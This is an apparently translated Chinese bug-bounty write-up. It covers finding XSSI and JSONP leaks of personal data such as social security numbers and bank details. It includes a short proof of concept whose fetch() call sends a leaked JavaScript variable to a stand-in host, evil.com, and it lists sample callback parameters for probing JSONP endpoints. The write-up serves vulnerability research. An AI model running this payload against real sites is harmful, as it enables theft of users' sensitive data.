毫不费力地挖到XSSI&JSONP漏洞

原文链接:毫不费力地挖到XSSI/JSONP漏洞

漏洞难度:中

漏洞奖金:$800

漏洞类型:XSS

​ 大家好哇!我最近在私有项目中上报了一个价值$800的XSSI(XSS包含)漏洞,于是我决定分享一下我在挖洞中遵循的方法论

如果你还不太懂XSSI和JSONP,那么好好读读下面的文章:

XSSI:https://www.scip.ch/en/?labs.20160414

JSONP:https://www.sjoerdlangkemper.nl/2019/01/02/jsonp

我的方法论:

  • 在爬取目标站点(手工或自动)之后,我先把Burp Suite中的MIME类型结果筛选出来,然后把response中的”script“类型敏感信息快速看一遍

  • 我找到了一个JS文件,它里面包含我刚才注册填写的所有信息,包括社保号,病历,银行卡信息,名字,电话号,住址等等

  • 我马上扫了一眼这个JS的GET请求,再次确认它headers里没有CORS triggering(同源策略触发设置),就像:Authorization,X-API-KEY,X-CSRF-TOKEN,X-whatever

  • 到了这个阶段,如果它确实设定了同源策略,那么攻击就会失败,除非我也找到它的一个同源漏洞

  • 在这种情况下,并不需要特殊的headers,所以我能在web页面上用一个标签把JS文件包含进来,同时把它发送到任意一个泄露大量身份认证信息的服务器

  • POC如下:

    1
    2
    3
    4
    5
    6
    7
    8
    <script src="https://target.com/vuln.js">
    </script>
    <script defer>
    // var_name 是 vul.js 中的一个有敏感信息的变量
    console.log(var_name);
    // 发送信息到攻击者的服务器上
    fetch("https://evil.com/stealInfo?info="+var_name);
    </script>

    你可以用一样的办法去找JSONP回调,比如添加参数 callback=some_function, jsonp=... 等等,可以在返回敏感信息的所有路径下做这样的测试

关键点:

  • 有时候你需要多个参数去触发一个JSONP response。比如

    1
    2
    http://target.com?callback=test → no JSONP
    http://target.com?type=jsonp&callback=test → returns JSONP
  • 如果response中有Content-Type: application/json但是返回体中有JSONP/javascript,而且没有X-Content-Type-Options: nosniff ,我们依然可以利用漏洞

  • 对于JSONP,即使在同一个网站,不同的回调参数可能作用在不同的地方。比如:

    1
    2
    3
    4
    5
    6
    举个栗子:
    https://target.com/profile_info?callback=test→ no JSONP
    https://target.com/profile_info?jsonp=test→ returns JSONP
    但是,在此网站上的另一个路径中:
    https://target.com/account_info?jsonp=test→ no JSONP
    https://target.com/account_info?jsoncallback=test→ returns JSONP

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!